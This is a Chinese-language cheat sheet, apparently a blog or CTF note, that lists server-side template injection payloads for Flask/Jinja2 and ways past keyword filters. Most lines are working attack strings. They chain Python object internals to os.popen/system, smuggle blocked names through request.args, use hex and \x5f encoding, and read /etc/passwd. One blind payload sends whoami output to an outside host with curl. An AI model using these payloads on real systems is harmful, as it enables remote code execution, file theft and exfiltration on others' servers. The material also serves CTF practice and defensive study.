注意:“_ getattribute_”只适用于所有的“.”运算符;
“_ getitem_”只适用于所有的“[]”运算符;
过滤[
凡是在类中定义__getitem__方法,那么它的实例对象(假定为p),可以像这样p[key]取值,当实例对象做p[key]运算时,会调用类中的方法__getitem__。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('dir').read()
关键字过滤(利用request)
利用request.args属性(cookie等)
* __class__
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
* __class__/_
{{ request|attr((request.args.usc*2,request.args.cls,request.args.usc*2)|join)}}&cls=class&usc=_
* __class__/_
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
* __class__/_
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
** 过滤{{
{% ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('curl http://ip:port?i=`whoami`').read()=='p' %}1{% endif %}
** 过滤ls,cat,os等关键字
值得注意的是,python里'l''s'也可以拼接,不需要+符号
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('d'+'i'+'r')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['o'+'s'].system('l''s')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('l'+'s')
但这些payload里的globals也不能绕过,我们可以使用getattribute()+字符串拼接来绕过
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__global'+'s__')['os'].system('d'+'i'+'r')
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('5f5f676c6f62616c735f5f'.decode('hex'))['os'].system('d'+'i'+'r')
实际上写\x5f\x5f也同样可以解析。
一个较为成熟的payload:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
当过滤很多的时候可以一点一点拼凑
这里还是放y1ng大佬的图(高糊)
参考: python总结(五):__get__、__getattr__、__getitem__、__getattribute__之间的差异与联系_甘焕的博客-CSDN博客